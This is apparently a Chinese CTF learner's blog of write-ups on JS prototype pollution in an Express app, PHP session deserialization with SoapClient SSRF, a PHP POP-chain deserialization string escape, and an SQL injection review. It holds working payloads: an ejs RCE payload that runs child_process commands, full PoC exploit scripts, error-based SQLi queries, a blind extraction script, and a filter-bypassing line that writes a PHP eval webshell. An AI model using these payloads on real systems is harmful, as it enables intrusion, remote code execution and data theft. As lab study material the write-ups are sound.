GYCTF2020-Ez_Express

[GYCTF2020]Ez_Express

前言

看了一下有注册有登录,于是试了一下www.zip发现有源码泄露:
审计的是thinkphp6.0,看半天看不出个所以然,于是看wp了

js原型链污染

原型链特性:
当我们调用一个对象的某属性时

1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.proto中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性

以上机制被称为js的prototype的继承链。和node.js沙盒逃逸的原理似乎是一样的
举例:

function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
foo.show()

理解:
Foo是一个类,prototype是Foo的属性,Foo中所有的实例化后对象都将拥有这个属性,我们在prototype属性中定义了一个方法show,接下来所有实例化后的对象如foo都将直接拥有foo方法。
原型链污染定义:

如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

例:

let foo={bar:1}//foo是一个对象
console.log(foo.bar)//foo.bar此时为1
foo.__proto__.bar=2//foo的原型设一个bar值为2
console.log(foo.bar)//输出为1,因为foo的bar已经为1
let zoo={}//设zoo的对象为空
console.log(zoo.bar)//这个时候zoo的bar就为2,现在每个原型都有个属性bar值为2

哪些情况下原型链会被污染?

在含有能够控制数组(对象)的“键名”的操作即可,一般是以出现:
merge和clone对象

不安全的对象递归合并

以merge,因为merge执行的就是递归,为例,先构造一个简单的merge函数

const merge = (target, source) => {
// Iterate through `source` properties and if an `Object` set property to merge of `target` and `source` properties
for (const key of Object.keys(source)) {
if (source[key] instanceof Object) Object.assign(source[key], merge(target[key], source[key]))
}
// Join `target` and modified `source`
Object.assign(target || {}, source)
return target
}
function Person(name,age,gender){//构造一个person类
this.name=name;
this.age=age;
this.gender=gender;
}
let newperson=new Person("test1",22,"male");
let job=JSON.parse('{"title":"Security Engineer","country":"China","__proto__":{"x":1}}');//新建一个job对象
merge(newperson,job);//这个job对象有用title、contry、__proto__属性,并对其进行赋值
console.log(newperson);
console.log(Person.prototype);//此时per的原型已经被改变为x=1

这里解释一下,merge将这几个键值作为一个属性合并到newperson这个对象中了,merge函数执行的其实可以认为是

Person.job.title=......
Person.job.__proto__=....

这个时候job的原型是Person,所以Person的值就发生了改变。

按路径定义属性

有些JavaScript库的函数支持根据指定的路径修改或定义对象的属性值。通常这些函数类似以下的形式:theFunction(object, path, value),将对象object的指定路径path上的属性值修改为value。如果攻击者可以控制路径path的值,那么将路径设置为_proto_.theValue,运行theFunction函数之后就有可能将theValue属性注入到object的原型中。

实战

www.zip下载源码:

然后开始审计

const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);

在index.js找到merge和clone,接下来看看有哪里调用了他们,发现是在/action这里,并且需要user为admin

router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

那么就需要先登录,在登录这列发现

**其中 'user':req.body.userid.toUpperCase() 这一句中toUpperCase()函数是为了将字符串中的小写字符转换成大写,但因为javascript的特性,函数存在分险(下图),所以假如我们传入admın的话,经过toUpperCase()的处理后,会变成ADMIN**关于node-js题目的尝试/9.png)

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
Copy

对于toLowerCase():

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

所以我们可以注册用户名为admın然后进行登录即可,接下来在去可以污染的参数那边看看该如何构造payload
首先可以可以看到clone在login那边对body进行操作,那么我们的原型链传入的值也应该在那里

router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

再往下看,我们outputoFunctionName被渲染了,那么其实思路就很明确了,通过clone原型链污染outputoFunctionName,导致其值被改变,渲染拿到flag

router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

payload:

{"__proto__":{"outputFunctionName": "test;clearTimeout.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /flag > /app/public/reader').toString();var test1"}}

从语法的角度解释一下这个payload:我们通过污染outputFunctionName的原型,通过constructor访问其向上原型链,获得主环境的function,2然后通过(‘return process’)()获得主环境process变量,通过process.mainModule.require导入child_process模块,实现命令执行,最后将flag输出至/reader中,由于这个outputFunctionName是未定义的,所以我们后面访问它,就会直接赋值为我们定义的这些属性(和上面的原理是一样的)

来自:
https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/

img 要记得吧传输的内容格式改为json的,然后登陆/info让其被渲染,然后再登录/reader将flag下载下来即可

小结

由于语法还是有很多不懂,但还好学沙盒逃逸的时候有掌握一点语法,所以原理还是可以看懂的,但是构造语句还是不太行
总结一下js的原型链污染
1.寻找merge或者clone函数
2.寻找使用这两个函数的对象,查看其是否可控,能渲染

https://www.freebuf.com/articles/web/275619.html

https://www.cnblogs.com/LEOGG321/p/13448463.html

js的字符:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

lctf babyphp's revenge

php中session反序列化机制

简介

session中有关序列化配置:

session.serialize_handler=php	   	表明session的默认序列话引擎使用的是php序列话引擎

session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

    例:

    names:6:"spoock";

    name|s:6:"spoock";其中name是键值,s:6:”spoock”是反序列化的结果

  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
    例:
    a:1:{s:4:"name";s:6:"spoock"}对一整个name=spoock进行序列化存储

  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

    例:

    name|s:6:"spoock";其中name是键值,s:6:”spoock”是反序列化的结果

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储机制

php中的session内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

session反序列化利用

session序列化的危害主要来自于不同存储引擎的解析存储方法不同,如果对同一组输入值进行不同的解析方式,那么就会产生风险。
例:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述session使用的是php_serialize,所以最后的存储内容是

a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是如果我们在读取的过程中选择PHP,那么就会变成

array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

也就是PeopClass这个类也会在反序列化读取中被执行
这是因为当使用php引擎的时候,php引擎会以**|**作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

lctf-bestphp’s revenge

SOAP简介

SOAP(Simple Object Access Protocol)是一种在 web service 通信时所用的基于 xml 的协议。
可以用来修改报文,以及修改访问的目标的ip
https://wooyun.js.org/drops/Trying%20to%20hack%20Redis%20via%20HTTP%20requests.html

看题目:
flag.php

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

他需要loalhost访问,那基本是SSRF的题目了,接下来就寻找一下如何突破:

 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) {}

我们可以看到这里输出的唯一内容是session,所以我们需要从session进行入手。
session通过修改存储机制可以进行反序列化:
而session正好有可以修改配置文件的函数
session_start()
eg:img

img
<?php
// 设置 cookie 的有效时间为 1 天
session_start([
'cookie_lifetime' => 86400,
]);
?>

通过调用soapclient类就可以实现修改访问的ip了
soapclient内置类的开启需要在php.ini中进行配置
img

接下来就是构造payload,先通过一个简单的实例,通过构造这样的一个类,可以实现发送到服务端地址的改变:
这是php手册中关于soapclient类的construct构造的定义
https://www.php.net/manual/zh/soapclient.construct.php

如果在 WSDL 模式下工作,则此参数是可选的。如果在非 WSDL 模式下工作,则必须设置location和 uri选项,其中location 是将请求发送到的 SOAP 服务器的 URL,是 SOAP 服务uri 的目标名称空间。
<?php
$a=new SoapClient(null,array('location'=>"http://127.0.0.1/flag.php","uri"=>"http://127.0.0.1/",'user_agent' => "a:c\r\n" ."Cookie:PHPSESSID=1",));
//这个uri没有强制指定,所以都可以
echo(urlencode(serialize($a)));

好的基本信息大概都清楚了,接下来就是如何利用题目中的函数实现,首先我们先用php_serialize存储机制存入SoapClient,首先构造一下我们需要反序列化的soap类,

<?php
$a=new SoapClient(null,array('location'=>"http://127.0.0.1/flag.php","uri"=>"http://test-uri/","Cookie:PHPSESSID=i9n0hbcqn1vmhnpdnterckj8h0"))
//这个uri没有强制指定,所以都可以,PHPsessid需要设置不然访问不到
echo urlencode(serialize($a));
call_user_func()把第一个参数作为回调函数调用,其他参数是回调函数的参数

img

成功写入img

接下里进行改内容的反序列化调用,由于soap的ssrf是需要调用_call方法的,所以这里我们要想想如何调用什么不存在的类和方法=-=,可想而知 就是这里的welcome_to…..,具体的运作逻辑如下

img

几个函数补充了解一下:
img
img

题目中接下来的代码运作是:首先reset将数组的内部指针指向第一个单元也就是SoapClient,然后将welcome_..也合并在这个数组当中

img
最后再使用implode将这个数组转化为字符串,但其中都没有触发过这个soap的__call方法
这里我们可以将变量b覆盖为call_user_func,令其在最后调用执行SoapClient,但是传入的b会被写入为数组形式,所以我们还需要一个函数将其释放出来,就是
extract()
它的主要作用是将数组展开,键名作为变量名,元素值为变量值

所以payload如下:

img

访问session=1(刚刚设置的)

img

小结:

1.session反序列化机制主要是利用session存储机制不同所造成的的漏洞
2.判别标准是:session是否开启,session_start函数是否可以被调用,是否存在多余参数可以用来控制session_handler。
3.可以利用soap内置类实现ssrf

1'ununionion selselectect '<?php eval($_POST[a]);?>' INintoTO OUToutfileFILE '/var/www/html/1.php'#

GYCTF2020-Easyphp

[GYCTF2020]Easyphp

www.zip备份文件下载下来审计一下~
有点好笑哈哈哈哈哈哈~

img

在lib.php中看到很多类和方法,盲猜就是需要反序列化,然后搜索了一下unserialize函数
发现在update函数中果然有这个函数。但是没看到传参的入口,于是再看看其他文件,发现:
img
包含了flag.php,回想到刚刚看到的file_get_contents~这不就呼应上了?不过还是要再继续看看,别等下走了歪路。。。
img

回到update.php中,我们可以发现,即使login!=1依旧会执行$users->update();,而这个函数在lib.php中,反序列化了getNewinfo()中的内容
img
继续看getNewInfo()里面的内容,可以使用post传入age和nickname,实现参数的传入
img
但是由于有个safe函数,所以我们直接通过file_get_contents包含是不太可能的==于是想想有没有其他,可以发现这个safe函数,他是通过将危险字符串换成hacker来达到过滤的目的,这样的话就意味着存在反序列化字符串逃逸的的风险
img
继续查看一下他的整体代码逻辑,不难发现nickname和age会被插入在这里执行update操作:
img
我们的最终目标应该是修改admin的密码,使得我们可以登录,所以这里的update语句似乎也没有多大意义的亚子,于是我们看看其他地方能不能构造出一条链出来,如果我们可以是用login方法,它会创造一个新的类也就是dbCtrl,接下来就会执行查询的sql语句,但是查询结果似乎是只有回显id,我们需要的是密码,所以好像意义不太大?,继续往下看看

img

在user里面还有一个tostring,通常是用来做跳板的:当一个类被转换成字符串时被调用,update函数也是User里面的,所以应该是其他地方的跳回来这里吧,继续往下

img

这是一个新的类,其中有一个call方法,即调用不可访问或不存在的方法时被调用,一般也是用来做跳板的,他最后是login的,login就两个地方,一个是dbCtrl,一个是User,要去哪个呢?,感觉应该是要去dbCtrl,为什么呢,继续往下看看img

这边echo了sql,应该是echo查询结果吧,echo输出的内容是字符串,所以应该是从这里开始起跳到User里面,

img

整理一下思路,从UpdateHelper中构造查询sql语句然后通过destruct将nickname赋值为Info类,调用info里面的call方法,并将ctrlcase赋值为dbCtrl使其使用login方法查询sql结果,

构造一下在本地调试一波看看

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {

}
public function update(){

}
public function getNewInfo(){

}
public function __destruct(){

}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $CtrlCase;
public function __construct(){

}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{

public $sql;
public function __construct(){

}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="localhost";
public $dbuser="root";
public $dbpass="as119801222";
public $database="security";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
$a=new UpdateHelper();
$b=new User();
$c=new Info();
$d=new dbCtrl();
$b->age="select password from users where username='admin'";
$c->CtrlCase=$d;
$b->nickname=$c;
$a->sql=$b;
echo (serialize($a));
unserialize("O:12:\"UpdateHelper\":1:{s:3:\"sql\";O:4:\"User\":3:{s:2:\"id\";N;s:3:\"age\";s:49:\"select password from users where username='admin'\";s:8:\"nickname\";O:4:\"Info\":1:{s:8:\"CtrlCase\";O:6:\"dbCtrl\":8:{s:8:\"hostname\";s:9:\"localhost\";s:6:\"dbuser\";s:4:\"root\";s:6:\"dbpass\";s:11:\"as119801222\";s:8:\"database\";s:8:\"security\";s:4:\"name\";N;s:8:\"password\";N;s:6:\"mysqli\";N;s:5:\"token\";N;}}}}");

调试完以后是按照想象中的跳了,但是没出来密码?所以想说再构造一下试试看,试了几次都没出密码,于是看了一下wp,发现几件事,首先,idresult对应的是查询出来的第一个参数,所以我们的查询语句应该是select password,id from users where username=?img

其次 查询的对象也就是name的赋值需要在这里赋值:
img

所以改良以后的poc为:

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {

}
public function update(){

}
public function getNewInfo(){

}
public function __destruct(){

}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $CtrlCase;
public function __construct(){

}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{

public $sql;
public function __construct(){

}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="localhost";
public $dbuser="root";
public $dbpass="as119801222";
public $database="security";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
$a=new UpdateHelper();
$b=new User();
$c=new Info();
$d=new dbCtrl();
$d->token='admin';
$d->name='admin';
$b->age="select password,id from users where username=?";
$c->CtrlCase=$d;
$b->nickname=$c;
$a->sql=$b;
#echo (serialize($a));
unserialize("O:12:\"UpdateHelper\":1:{s:3:\"sql\";O:4:\"User\":3:{s:2:\"id\";N;s:3:\"age\";s:52:\"select password,id from users where username='admin'\";s:8:\"nickname\";O:4:\"Info\":1:{s:8:\"CtrlCase\";O:6:\"dbCtrl\":8:{s:8:\"hostname\";s:9:\"localhost\";s:6:\"dbuser\";s:4:\"root\";s:6:\"dbpass\";s:11:\"as119801222\";s:8:\"database\";s:8:\"security\";s:4:\"name\";s:5:\"admin\";s:8:\"password\";N;s:6:\"mysqli\";N;s:5:\"token\";s:5:\"admin\";}}}}");

由于以上的poc我连接的是本地的数据库来测试,所以后面需要改回去
接下来就是让这里的反序列化内容逃逸出去
这里说一下遇到的坑:
1.记得前面的内容要有引号闭合,后面要有花括号闭合
2.原本的反序列化内容还有个CtrlCase,我们的payload拼接进去以后会被挤到后面去就被丢掉了,所以需要在我们的payload之前加一下(在这里卡了很久无语了)

这是终极payload:

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {

}
public function update(){

}
public function getNewInfo(){
$age="loadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadload\";O:12:\\\"UpdateHelper\\\":1:{s:3:\\\"sql\\\";O:4:\\\"User\\\":3:{s:2:\\\"id\\\";N;s:3:\\\"age\\\";s:52:\\\"select password,id from users where username = 'admin'\\\";s:8:\\\"nickname\\\";O:4:\\\"Info\\\":1:{s:8:\\\"CtrlCase\\\";O:6:\\\"dbCtrl\\\":8:{s:8:\\\"hostname\\\";s:9:\\\"localhost\\\";s:6:\\\"dbuser\\\";s:4:\\\"root\\\";s:6:\\\"dbpass\\\";s:11:\\\"as119801222\\\";s:8:\\\"database\\\";s:8:\\\"security\\\";s:4:\\\"name\\\";s:5:\\\"admin\\\";s:8:\\\"password\\\";N;s:6:\\\"mysqli\\\";N;s:5:\\\"token\\\";s:5:\\\"admin\\\";}}}}";
$nickname="11";
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){

}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;

public $CtrlCase;
public function __construct(){
// $this->age=$age;
// $this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{

public $sql;
public function __construct(){

}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
$a=new UpdateHelper();
$b=new User();
$c=new Info();
$d=new dbCtrl();
$d->token='admin';
$d->name='admin';
$b->age="select password,id from users where username=?";
$c->CtrlCase=$d;
$b->nickname=$c;
$a->sql=$b;
echo ("loadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadload\";s:8:\"CtrlCase\";");
echo (serialize($a));

在本地调试是可以的==但是不知道为啥放到题目下就不行了,我人傻了

可以看到因为数据库的账号密码不匹配所以返回了错误信息。img

我以为是我的payload出了问题,但是直接复制粘贴别人的也没有可以的–无语了

loadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadload";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:46:"select password,id from users where username=?";s:8:"nickname";O:4:"Info":2:{s:3:"age";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

后来感觉还是很不甘心,于是又去找了一下其他人的payload,发现有一个人的可以用,可是s:2:”as”;这个部分从哪里来的属实没懂找了好几个师傅的题解都没看到

loadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadload";s:2:"as";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:46:"select password,id from users where username=?";s:8:"nickname";O:4:"Info":2:{s:3:"age";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

而且在本地运行的时候就运行不来,盲猜是题目没配置好吧?
越想越不合理,又重新尝试了一下,发现我那个又可以了,但是本地却不行了,于是再尝试了一下,发现二者之间相差两个字符,也就是本地能成功的,只要拿掉一个load,也就是扣掉两个字符在题目环境下就能成功。而且很无语的是扣掉两个花括号也能成功==,无语了

小结

完整做下来以后还是收获了很多,主要是有很多小坑,当代码读完一遍吼,反序列pop链的构造其实并没有很困难,就是那几个魔术方法运用一下就型,顺着思路走就行。坑点主要就是上面那几个,说说学到了啥
1.学到了很多调试方案,当我拼接以后一直尝试不出来的时候,对那串反序列化一个部分一个部分进行调试,才发现需要保证其完整性
2.那个s从哪里来的真的把我搞懵了==用题目下下来的源码去跑这个payload是出不来东西的,用原本的才行,而在题目的环境中却又必须要用那个玩意??

https://www.1ight.top/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%94%bb%e5%87%bb/#comment-9

sql注入复习

前言

最近做到sql注入的题目,都没有很敏感了,于是决定要重新复习一下

sql注入原理

源码对用户的输入的内容没有进行很好的过滤机制,导致用户输入的内容拼接到sql语句,影响原本sql语句的功能

sql注入种类:

回显注入

顾名思义,就是输入内容会有回显,我们可以通过回显内容判断是否成功过滤

?id=1'and 1=1'1
?id=-1'union select database()--+ #union还需要注意一下字段数

报错注入

数据溢出:

就是超过mysql的数据范围会报错:
但是又版本限制:<=5.5.4的三皈依出金额图将报错内容显示出来

主键重复

//数据库
select * from user where 1=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);
//表名
select * from user where 1=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
//字段
select * from user where 1=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
//值
select * from user where 1=1 and (select 1 from (select count(*),concat((select id from user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);

列名重复

这个可以用在无列名注入的时候,爆出列名

mysql> select * from (select * from user a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from user a join user b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'

xpath语法报错注入

利用extractvalue或者updatexml

一些特性注入

宽字节注入

看数据库编码是否发生改变

无列名注入

select 1,2 union select * from user;

二次注入

第一次插入数据库的数据被过滤,但是在下一次使用拼凑过程中以输入的形式进行组合,造成语句恶意拼接

[网鼎杯2018]Unfinish

注册以后发现用户名显示了,猜测语句是

insert into XXX ('','','') values ('','''','');

所以构造一下注入语句为:

xxxxxxxxxx insert into XXX (email,username,passwd) values ('',''+(select hex(database()))+'','');

在这里我们是使用+号这个运算符作为连接符
查询结果可以理解为:

0+database()+0

但是如果直接这样相加
img

是没有回显的,因为字母+数字在mysql里面加不了为0
所以要转化为十六进制,使用hex函数,但是经过测试,有的字符串只经过一次hex还是有字母,毕竟是十六进制~:
img
所以要经过两次十六进制的转换

接下来是构造语句:

username='+(select hex(hex(database())))+'
img 经过两次hex解码,得知数据库名为web img information又被过滤了--,这个时候就直接猜表名为flag就好了~ 发现会有科学计数法e的存在,所以会损失精度,所以需要用substr截取 img 这里学到了一个新姿势,就是substr from for 因为是逗号的时候会报错--
username=0'+(select substr(hex(hex((select * from flag))) from 1 for 10))+'0

位数很多 需要使用脚本,脚本编写思路如下:
先在register注册账号,然后用login登录查询

import requests
import re
url='http://707e6b02-6d3d-4527-8899-ab194079ea88.node4.buuoj.cn/register.php'
for i in range(0,20):
# data={
# "email":str(i)+'@qq.com',
# "username":"'+substr(hex(hex((select * from flag))) from "+str(i*10+1)+" for 10)+'",
# "password":"1"
# }
# r=requests.post(url=url,data=data)
url2 = 'http://707e6b02-6d3d-4527-8899-ab194079ea88.node4.buuoj.cn/login.php'
data={
"email":str(i)+'@qq.com',
"password":"1"
}
r=requests.post(url=url2,data=data,allow_redirects=True)

print (re.findall(".*?</span>",r.text)[0].replace('</span>','').strip(),end='')

这里我是先批量注册,然后再批量登录通过正则定位编码位置然后组装
由于现在buu太容易崩溃惹。。。所以我就0-5获取一次然后5-10获取一下

363636433631363737423631363433383334363133383633333832443631333033353634324433343634333236363244363233343334333132443333363533393338363536353337333036313338363436333744

结果如上,然后hex解码两次即可

python利用正则表达式快速截取定位内容

以前就经常在想怎么在一大串的网页回显中截取自己想要的那部分内容,后来看了一下学长的脚本,发现使用正则表达式可以达到这种操作:

importe re#引入re库
str_txt = """
if (!mobileVisit) {
googletag.defineSlot "div-gpt-ad-15390086850-0").addService(googletag.pubads());
}
"""
